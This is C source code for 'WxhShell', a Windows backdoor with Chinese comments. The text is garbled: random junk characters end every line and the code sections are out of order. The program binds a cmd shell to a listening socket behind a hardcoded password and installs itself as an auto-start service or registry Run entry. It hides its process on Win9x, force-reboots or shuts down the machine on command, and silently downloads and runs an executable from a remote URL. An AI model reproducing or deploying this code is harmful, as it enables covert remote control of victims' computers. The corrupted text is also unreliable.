  case 'd': { mxtlr)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rc;1Sm9\  
    if(Boot(SHUTDOWN)) j*zB { s K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R:SIs\%o  
    else { Vj?*= UL  
    closesocket(wsh); 4da ^d9ZOy  
    ExitThread(0); cYBrRTrI#  
    } bkJwPs  
    break; hhN(;.  
    } P?-d[zLA  
  // 获取shell )G}sb*+v?  
  case 's': {  ^xBb$  
    CmdShell(wsh); F Bd+=bx,Z  
    closesocket(wsh); FjK Ke7  
    ExitThread(0); =MQ2sb  
    break; X20<r?^,,  
  } :7zI3Ml@7  
  // 退出 1c1e+H  
  case 'x': { {"qW~S90YO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V3aY]#Su  
    CloseIt(wsh); B3ohHxHu  
    break; (!^N~ =e;  
    } q8&4=eV\A  
  // 离开 H620vlC}V  
  case 'q': { D/+@d:-G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T\<M?`Y  
    closesocket(wsh); NB~*sP-l&  
    WSACleanup(); p{('KE)  
    exit(1); Br_3qJNVP  
    break; V>~*]N^f  
        } q>Dr)x)  
  } TXY  
  } krnvFZRTQ  
h8Dtq5t4  
  // 提示信息 d!a2[2Us  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BxW||O|_N"  
} =|DkD- O  
  } $i5G7b  
LIm$Wl1U  
  return; S^_JC  
} x`j_d:C~G  
AmUe0CQ:k'  
// shell模块句柄 K6 PC&+x  
int CmdShell(SOCKET sock) ^MF=,U'8  
{ bCe[nmE2  
STARTUPINFO si; oW\Q>c7 =  
ZeroMemory(&si,sizeof(si)); r zc 3k~@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; % B7?l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AZBY, :>D  
PROCESS_INFORMATION ProcessInfo; 72B zvY.  
char cmdline[]="cmd"; +4p2KYO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lcuH]z  
  return 0; {Hrr:hC  
} OP\^c  
RQ_#rYmT  
// 自身启动模式 ~a0d .dU  
int StartFromService(void) r;5 AY  
{ ]VO,} `  
typedef struct \Ho#[k=y*/  
{ .1l[l5$  
  DWORD ExitStatus; 1bFEx_  
  DWORD PebBaseAddress; k_.j%  
  DWORD AffinityMask; p]J]<QaZD  
  DWORD BasePriority; MXu+I,y*  
  ULONG UniqueProcessId; d3\l9R{}  
  ULONG InheritedFromUniqueProcessId; [jmAMF<F  
}   PROCESS_BASIC_INFORMATION; /Wta$!X{-  
y D=)&->Ra  
PROCNTQSIP NtQueryInformationProcess; |x}&wFV  
iI/'! 85  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZS 7)(j$.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @b(gjOE  
+O%a:d%  
  HANDLE             hProcess; r]K0 ]h@B  
  PROCESS_BASIC_INFORMATION pbi; 'TEwU0<%  
pQ6t]DJ4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u6CM RZ$  
  if(NULL == hInst ) return 0; Mz#S5 s  
'@1Qx~*]e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w{UKoU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m'vOFP)'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N'W >pU  
l.LFlwt  
  if (!NtQueryInformationProcess) return 0; 7dL=E"WL  
ZYp-dlEXq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d+wNGN  
  if(!hProcess) return 0; P+ h<{%:*  
P#'DGW&W0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M<me\s)  
1=cfk#  
  CloseHandle(hProcess); f0s<Y  
XVK[p=cIL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c`[uQXv  
if(hProcess==NULL) return 0; (/UMi,Ho  
[8(9.6f  
HMODULE hMod; QRc=-Wu_(  
char procName[255]; b J5z??  
unsigned long cbNeeded; FWx*&y~$  
MjeI?k}LJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #esu@kMU`  
h4xf%vA(;  
  CloseHandle(hProcess); %EhU!K#[  
)#TJw@dNf^  
if(strstr(procName,"services")) return 1; // 以服务启动 ?&bVe__  
EYj2h .k  
  return 0; // 注册表启动 %QcG^R  
} V s t e$V  
D +%k1  
// 主模块  /o3FK  
int StartWxhshell(LPSTR lpCmdLine) y8 u)Q  
{ qSs^}eN  
  SOCKET wsl; rcb/X`l=  
BOOL val=TRUE; rG'k<X~7  
  int port=0; 6xQe!d3>s3  
  struct sockaddr_in door; fP4IOlHkE  
a5g{.:NfO  
  if(wscfg.ws_autoins) Install(); RwLdV+2\R`  
^oZs&+z  
port=atoi(lpCmdLine); L,ey3i7a\  
YedipYG9;  
if(port<=0) port=wscfg.ws_port; q|_ 5@Ly  
~5?n&pF  
  WSADATA data; U@ QU8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4BL,/(W] x  
wOl-iN=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SYhspB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %3B>1h9N  
  door.sin_family = AF_INET; f v7g93  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ml \yc'  
  door.sin_port = htons(port); PX{~!j%n  
oN}j<6s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &wC.?w$  
closesocket(wsl); Bc ,z]  
return 1; !6`nN1A  
} a5+v)F/=  
[t\Mu}b  
  if(listen(wsl,2) == INVALID_SOCKET) { p%qL0   
closesocket(wsl); hLA=7  
return 1; bWzc=03  
} -m-WUox4"  
  Wxhshell(wsl); t|XC4:/>T  
  WSACleanup(); by3kfY]4s  
x \{jWR%  
return 0; PH=8'GN  
B_G7F[/K  
} ZuV  
\) ONy9  
// 以NT服务方式启动 ?UZ yu 4O%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GM92yi!8  
{ #SUq.A  
DWORD   status = 0; `I:,[3_/   
  DWORD   specificError = 0xfffffff; >R0j<:p :  
Q&\ksM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /JY i^rZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x1ex}_\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :Fk&2WsW:  
  serviceStatus.dwWin32ExitCode     = 0; U} h |Zk  
  serviceStatus.dwServiceSpecificExitCode = 0; q.tL'  
  serviceStatus.dwCheckPoint       = 0; #>oO[uaY  
  serviceStatus.dwWaitHint       = 0; Hs!CJ(0"y  
C#cEMKa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,6)y4=8 L  
  if (hServiceStatusHandle==0) return; cjpl_}'L:  
spDRQ_qq  
status = GetLastError(); !ry+ r!"  
  if (status!=NO_ERROR) PQ|x?98  
{ 0]W/88ut*u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OH~qJ <  
    serviceStatus.dwCheckPoint       = 0; '0?E|B]Cp%  
    serviceStatus.dwWaitHint       = 0; bHG>SW\]`?  
    serviceStatus.dwWin32ExitCode     = status; ?':'zT  
    serviceStatus.dwServiceSpecificExitCode = specificError; ? +!?$h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T}On:*&  
    return; 0w&1wee(  
  } >U.uRq  
8#AXK{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PUo&>  
  serviceStatus.dwCheckPoint       = 0; . 2Q/D?a  
  serviceStatus.dwWaitHint       = 0; 7K4%`O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hY'%SV p  
} ;sJ2K"c  
<C xet~x  
// 处理NT服务事件,比如:启动、停止 W%:zvqg v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pr?(5{BL  
{ 9(]j e4Cn  
switch(fdwControl) P;[mw(  
{ 4h(Hy&1C  
case SERVICE_CONTROL_STOP: hQeZI+  
  serviceStatus.dwWin32ExitCode = 0; ?uv%E*TU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2F]MzeW  
  serviceStatus.dwCheckPoint   = 0; s o s&  
  serviceStatus.dwWaitHint     = 0; 34+}u,=  
  { Fb-TCq1y#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >iV(8EgBS  
  } 5eJd$}Lbc  
  return; EeJ] > 1  
case SERVICE_CONTROL_PAUSE: 6.=b^6MV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1j(,VW  
  break; =jh:0Q<43+  
case SERVICE_CONTROL_CONTINUE: upKrr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #nz$RJsX  
  break; W1(zi P'6  
case SERVICE_CONTROL_INTERROGATE: Czn7,KE8X  
  break; 4v$AM8/o  
}; i{0_}"B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q0q$ZK6C  
} o~ed0>D-LS  
QkAwG[4  
// 标准应用程序主函数 64@s|m*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r8$TT\?~  
{ QJ?!_2Ax  
st>t~a|T  
// 获取操作系统版本 =uTV\)  
OsIsNt=GetOsVer(); >Fh@:M7z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '@P[fSQ  
Ckp=d  
  // 从命令行安装 @YELqUb*  
  if(strpbrk(lpCmdLine,"iI")) Install(); p IToy;]  
p,/^x~m3a  
  // 下载执行文件 bHM .&4G  
if(wscfg.ws_downexe) { yuB BO:\.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C~*m&,@TT^  
  WinExec(wscfg.ws_filenam,SW_HIDE); B*7o\~5  
} hFv}JQJw<  
dQb?Zi7g  
if(!OsIsNt) { 9OBPFF  
// 如果时win9x,隐藏进程并且设置为注册表启动 &rubA  
HideProc(); &9>d  
StartWxhshell(lpCmdLine); :z7!X.*  
} :h@:F7N _  
else ?9cy5z[  
  if(StartFromService()) b :00w["  
  // 以服务方式启动 JZ [&:  
  StartServiceCtrlDispatcher(DispatchTable); L`v,:#Y   
else q)X&S*-<o~  
  // 普通方式启动 w93,N+es6  
  StartWxhshell(lpCmdLine); *yx:nwmo  
FqfeH_-U  
return 0; l(W3|W#P  
} 4(]k=c1<  
Nx__zC^r  
5l#)tX.by  
ewY X\  
=========================================== ececN{U/  
=*I9qjla[?  
E;N8{Ye_  
< jF<_j  
n >'}tT)U  
#XZ?,neY  
" `4MPXfoBL  
K""04Ew*pV  
#include <stdio.h> R0WJdW#  
#include <string.h>  "d'@IN  
#include <windows.h> >8Y >B)  
#include <winsock2.h> B4C`3@a  
#include <winsvc.h> $Fj7'@1(  
#include <urlmon.h> =z+zg^wsT  
OB%y'mo7]  
#pragma comment (lib, "Ws2_32.lib") fi1UUJ0 U;  
#pragma comment (lib, "urlmon.lib") -c tZ9+LL  
Qa=;Elp:[  
#define MAX_USER   100 // 最大客户端连接数 })Jp5vv  
#define BUF_SOCK   200 // sock buffer 6*E 7}  
#define KEY_BUFF   255 // 输入 buffer s$;v )w$  
UZ$p wjC  
#define REBOOT     0   // 重启 -9mh|&z`  
#define SHUTDOWN   1   // 关机 BshS@"8r  
4{TUoI6ii  
#define DEF_PORT   5000 // 监听端口 rlq8J/0/+  
.dV!du  
#define REG_LEN     16   // 注册表键长度 O;~1M3Ii  
#define SVC_LEN     80   // NT服务名长度 *7ox_ R@  
P&K~wP]  
// 从dll定义API Rs dACP   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LS`Gg7]S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oKUJB.PF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P7 n~Ui~U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]Q+Tm2{  
X!m/I i$q  
// wxhshell配置信息 ty ~U~  
struct WSCFG { ^t"\PpmK<d  
  int ws_port;         // 监听端口 <m!\Ma  
  char ws_passstr[REG_LEN]; // 口令 @m6E*2Gg  
  int ws_autoins;       // 安装标记, 1=yes 0=no _<8n]0lX3  
  char ws_regname[REG_LEN]; // 注册表键名 \*7Tj-#  
  char ws_svcname[REG_LEN]; // 服务名 `k+k&t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y(HR1v Q;Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q(C+D%xB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %}@^[E)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &\A$Rj)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F[lHG,g-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?w.Yx$Z"  
|cH\w"DcXw  
}; T SOt$7-  
p8Pvctc  
// default Wxhshell configuration ?@ O[$9y  
struct WSCFG wscfg={DEF_PORT, wXP1tM8T  
    "xuhuanlingzhe", cla4%|kq3Y  
    1, KF.?b]  
    "Wxhshell", MDRSI g  
    "Wxhshell", z~F!zigNAc  
            "WxhShell Service", 83@+X4ptp  
    "Wrsky Windows CmdShell Service", !e?\> '  
    "Please Input Your Password: ", E @7! :  
  1, ?/;<32cE,  
  "http://www.wrsky.com/wxhshell.exe", T"$"`A"  
  "Wxhshell.exe" =T1i(M#  
    }; tw;`H( UZ^  
 H='`#l1  
// 消息定义模块 LWY`J0/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +f+\uObi:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1:-$mt_*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +m"iJW0  
char *msg_ws_ext="\n\rExit."; QDU^yVa_  
char *msg_ws_end="\n\rQuit."; ? O.&=im_  
char *msg_ws_boot="\n\rReboot..."; -" DI,o  
char *msg_ws_poff="\n\rShutdown..."; #JVcl $0Y  
char *msg_ws_down="\n\rSave to "; j0Q ;OKu  
9 eP @}C6  
char *msg_ws_err="\n\rErr!"; +s`n]1HC  
char *msg_ws_ok="\n\rOK!"; JI.ad_IR  
rVkHo*Q  
char ExeFile[MAX_PATH]; kWWb<WRW:  
int nUser = 0; hI"I#(*jA%  
HANDLE handles[MAX_USER]; s3q65%D  
int OsIsNt; _r&#Snp  
 @521 zi  
SERVICE_STATUS       serviceStatus; ^CX~>j\(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J=() A+  
$v+g3+7  
// 函数声明 DJeG  
int Install(void); b.$Gc!g  
int Uninstall(void); K%S k{'  
int DownloadFile(char *sURL, SOCKET wsh); Zf|f $1-  
int Boot(int flag); xD1w#FMlQs  
void HideProc(void); K2&pTA~OR  
int GetOsVer(void); ^NP" m  
int Wxhshell(SOCKET wsl); ^Xh9:OBF  
void TalkWithClient(void *cs); TK'(\[E  
int CmdShell(SOCKET sock); t&ngOF  
int StartFromService(void); E_FseR6  
int StartWxhshell(LPSTR lpCmdLine); TN&1C8xr  
mI}'8 .  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @L`t/OD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .Emw;+>  
)5hS;u&b  
// 数据结构和表定义 k*M1m'1  
SERVICE_TABLE_ENTRY DispatchTable[] = QQqWJq~  
{ n *U1 M  
{wscfg.ws_svcname, NTServiceMain}, S53[K/dZo  
{NULL, NULL} y>|7'M*+  
}; &}rh+z  
r3#H]c  
// 自我安装 VaH#~!  
int Install(void) UeE&rA]  
{ ,rQznE1e  
  char svExeFile[MAX_PATH]; \ ddbqg?`  
  HKEY key; *&LVn)@[`  
  strcpy(svExeFile,ExeFile); f ^z7K  
(ZDRjBth[  
// 如果是win9x系统,修改注册表设为自启动 xZBmQ:s',S  
if(!OsIsNt) { e%"L79Of6)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ceAK;v o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lv,<[Hw1  
  RegCloseKey(key); < jfi"SJu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2U i)'0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A2]N :=  
  RegCloseKey(key); "#(]{MY  
  return 0; IS"UBJ6p  
    } Yk[yG;W  
  } FD[* mCGZ  
} )'92{-A0  
else { (eHvp  
<Cm:4)~  
// 如果是NT以上系统,安装为系统服务 \S3C"P%w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IeE+h-3p  
if (schSCManager!=0) eo"6 \3z  
{ l1a=r:WhH  
  SC_HANDLE schService = CreateService .hnGHX  
  ( 8\/E/o3  
  schSCManager, ^KmyB6Yg  
  wscfg.ws_svcname, BT >8  
  wscfg.ws_svcdisp, $f_Brc:n {  
  SERVICE_ALL_ACCESS, ACc.&,!IZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >AV?g8B;  
  SERVICE_AUTO_START, vuA';,:~  
  SERVICE_ERROR_NORMAL, anHP5gD  
  svExeFile, bNj| GIf  
  NULL, tvZpm@1  
  NULL, V\^?V|  
  NULL, ^2XoYgv  
  NULL, [[ H XOPaV  
  NULL !ZHPR:k|  
  ); DtR-NzjB  
  if (schService!=0) pJ1GB  
  { uG~%/7Qt{  
  CloseServiceHandle(schService); H;%a1  
  CloseServiceHandle(schSCManager); W%@6D|^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |v:8^C7  
  strcat(svExeFile,wscfg.ws_svcname); d'J))-*#UO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $D1Pk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *[k7KG2_U  
  RegCloseKey(key); _"Y;E  
  return 0; (WX,&`a<$  
    } Ay/ "2pDZ  
  } %#Fd0L  
  CloseServiceHandle(schSCManager); Y<I/y  
} t :sKvJ  
} hBO I:4u[  
!Tr +:SM  
return 1; ' w!o!_T6  
} UeX3cD  
kL{2az3"c  
// 自我卸载 rU%\ 8T0f  
int Uninstall(void) i` n,{{x&4  
{ rV54-K;`0  
  HKEY key; ?&j[Rj0pH  
{eMu"<  
if(!OsIsNt) { r. =_=V/t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lmgMR|v  
  RegDeleteValue(key,wscfg.ws_regname); 2>_6b>9]  
  RegCloseKey(key); 7JQ5OC3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UXnd~DA  
  RegDeleteValue(key,wscfg.ws_regname); z{7&=$  
  RegCloseKey(key); *4dA(N\k"  
  return 0; p (:\)HP)R  
  } 8(\Az5%  
} [89#8|+  
} rX)PN3TD  
else { : DCj2"  
pTX{j=n!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /|bir6Y:  
if (schSCManager!=0) "n=`{~F  
{ HFB2ep7N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  ZOi8)Y~  
  if (schService!=0) |JtdCP{  
  { FU E/uh  
  if(DeleteService(schService)!=0) { [j`It4^nC  
  CloseServiceHandle(schService); ZjF$zVk  
  CloseServiceHandle(schSCManager); ~ucOQVmz@  
  return 0; ?TLMoqmXM{  
  } 80x %wCY`  
  CloseServiceHandle(schService); 3 8m5&5)1F  
  } Y, )'0O  
  CloseServiceHandle(schSCManager); nxA Y]Q  
} Z;P[)q  
} /#GX4&z  
'RC(ss1G  
return 1; =;9Wh!{  
} Y7zg  
Nc ,"wA  
// 从指定url下载文件 2kp.Ljt@  
int DownloadFile(char *sURL, SOCKET wsh) 4w}\2&=  
{ cAogz/<S  
  HRESULT hr; z AacX@  
char seps[]= "/"; DyD#4J)E  
char *token; E;fYL]j/oZ  
char *file; ={o>g '  
char myURL[MAX_PATH]; s =! y%  
char myFILE[MAX_PATH]; 'p80X^g  
7%c9 nY  
strcpy(myURL,sURL); #KF:(2  
  token=strtok(myURL,seps); 4/&Us  
  while(token!=NULL) ><mZOTn e;  
  { TxoMCN?7c  
    file=token; ce0TQ  
  token=strtok(NULL,seps); nw+L _b  
  } $6L gaz  
|CexP^;!U  
GetCurrentDirectory(MAX_PATH,myFILE); 47ppyh6@  
strcat(myFILE, "\\"); 0m(/hK  
strcat(myFILE, file); rUvqAfE&+  
  send(wsh,myFILE,strlen(myFILE),0); . p^='Kz?  
send(wsh,"...",3,0); I3uaEv7OZc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gLa# y  
  if(hr==S_OK) d+[yW7%J  
return 0; Cg?D<l4  
else Cg |_ ) _w  
return 1; Oz# $x  
3;zJ\a.+  
} m"t\@f  
Og4 X3QG  
// 系统电源模块 DN2K4%cM%'  
int Boot(int flag) >_!pg<{,  
{ AU)"L_ i}  
  HANDLE hToken; R] tHd=kf  
  TOKEN_PRIVILEGES tkp; 5)+(McJC  
E ~<SEA  
  if(OsIsNt) {  oJ ~ZzW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E3<jH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,B(UkPGT  
    tkp.PrivilegeCount = 1; /J]Yj,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; };o6|e:2E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *]nha1!S  
if(flag==REBOOT) { 7L|w~l7R~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pk%I98! Jy  
  return 0; TG8QT\0G  
} UTGR{>=>  
else { IHZ WNT2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7Vr .&`l  
  return 0; G(~d1%(  
} M=HW2xn  
  } yv =LT~  
  else { DmEmv/N=  
if(flag==REBOOT) { z6#N f,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i[`nu#n/  
  return 0; TviC1 {2  
} @C62%fU{5  
else { ywXerz7dUk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f50qA;7k  
  return 0; O&.^67\|  
} oUIa/}}w5  
} <mjH#aSy  
gQ3Co./  
return 1; )tl=tH/$  
} */sVuD^b`  
Z#BwJHh  
// win9x进程隐藏模块 H=?v$! i  
void HideProc(void) 0 60<wjX6  
{ l~!Tnp\M  
~ nNsq(4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _6Wz1.]n  
  if ( hKernel != NULL ) HK) $ls  
  { j*t>CB4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r5%K2q{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #F@53N  
    FreeLibrary(hKernel); !f-mC,d  
  } 5\8Ig f>  
m8,P-m  
return; D-\\L[  
} w~y+Pv@   
rVowHP  
// 获取操作系统版本 4j|]=58  
int GetOsVer(void) fIN8::Cs[  
{ rp u9  
  OSVERSIONINFO winfo; M>P-0IC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;ZPAnd:pb  
  GetVersionEx(&winfo); .%_scNP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $%ZEP> ]  
  return 1; X&nkc/erx  
  else 5|f[evQj<S  
  return 0; 7r 07N'  
} ?6+GE_VZ  
6[,*2a8  
// 客户端句柄模块 X[_w#Hwp-  
int Wxhshell(SOCKET wsl) *q_ .y\D  
{ FKY|xG9  
  SOCKET wsh; Yxz(g]  
  struct sockaddr_in client; fp|!LU  
  DWORD myID; dFD0l?0N  
!^cQPX2<  
  while(nUser<MAX_USER) ]^$&Ejpe#  
{ =;!C7VS  
  int nSize=sizeof(client); V9z/yNo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I&Q.MItW  
  if(wsh==INVALID_SOCKET) return 1; Pwf2dm$,+  
^$f} s,09  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fT [JU1  
if(handles[nUser]==0) _?#}@?  
  closesocket(wsh); mwVH>3{j  
else ?&EPZqI  
  nUser++; XFeHkU`C  
  } &:`T!n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L$6{{Tw"2  
:$."x '  
  return 0; Ar7vEa81  
} L^3~gZ  
"^VKs_U8o  
// 关闭 socket h~{TCK+I  
void CloseIt(SOCKET wsh) sCU<1=   
{ z1wy@1o'  
closesocket(wsh); 3$[!BPLFO  
nUser--; =Y#)c]`  
ExitThread(0); %$ |=_K)Ks  
} }+G6`Zd  
5 BR9f3}  
// 客户端请求句柄 gd^1c}UZX  
void TalkWithClient(void *cs) )D_#  
{ Ql&5fyW  
]f#ZU{A'mt  
  SOCKET wsh=(SOCKET)cs; QyQ&xgS  
  char pwd[SVC_LEN]; <iVn!P  
  char cmd[KEY_BUFF]; fiqeXE?E  
char chr[1]; S {gB~W  
int i,j; ax0RtqtR&  
5xX*68]%  
  while (nUser < MAX_USER) { ^_ L'I%%[  
^M6xRkI  
if(wscfg.ws_passstr) { NBZFIFO<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "- @{ )  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fa9c!xDt  
  //ZeroMemory(pwd,KEY_BUFF); 3Xyu`zS&   
      i=0; wR +C>  
  while(i<SVC_LEN) { yM>:,TS  
(b%&DyOt  
  // 设置超时 pYIm43r H  
  fd_set FdRead; VSP6osX{  
  struct timeval TimeOut; Wcd;B7OH  
  FD_ZERO(&FdRead); VCfa<hn  
  FD_SET(wsh,&FdRead); U|VF zpJ  
  TimeOut.tv_sec=8; rdZk2\<  
  TimeOut.tv_usec=0; B'"(qzE-kM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T#%r\f,l0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y ]&D;w  
swV/M i>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :"5'l>la  
  pwd=chr[0]; |LA@guN  
  if(chr[0]==0xd || chr[0]==0xa) { D_er(  
  pwd=0; rKg~H=4x2  
  break; .si!`?K%[  
  } T {Q]  
  i++; - `F#MN  
    } C# IV"Pkq  
E+-ah vk  
  // 如果是非法用户,关闭 socket It>8XKS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F33&A<(,  
} ={P  
_tDSG]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a<-NB9o~v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); " UaUaSg#  
~/s(.oji  
while(1) { 21i?$ uU  
cnJ(Fv_F$  
  ZeroMemory(cmd,KEY_BUFF); &?C% -"|c  
+EG?8L,z  
      // 自动支持客户端 telnet标准   tmEF7e`(o  
  j=0; &U/7D!^X  
  while(j<KEY_BUFF) { TpXbJ]o9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .`qw8e}y#'  
  cmd[j]=chr[0]; x&>zD0\ :\  
  if(chr[0]==0xa || chr[0]==0xd) { Q${0(#Nu  
  cmd[j]=0; =yo?]ZS  
  break; \`3YE~7J/  
  } "cSH[/  
  j++; V ':?rEN|  
    } zzOc # /  
{]Tb  
  // 下载文件 B^Y AKbY  
  if(strstr(cmd,"http://")) { 6t@kft>Nv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A'Q=Do E  
  if(DownloadFile(cmd,wsh)) I- oY@l`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pIcvsd  
  else b.HfxYt(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8+'9K%'@qX  
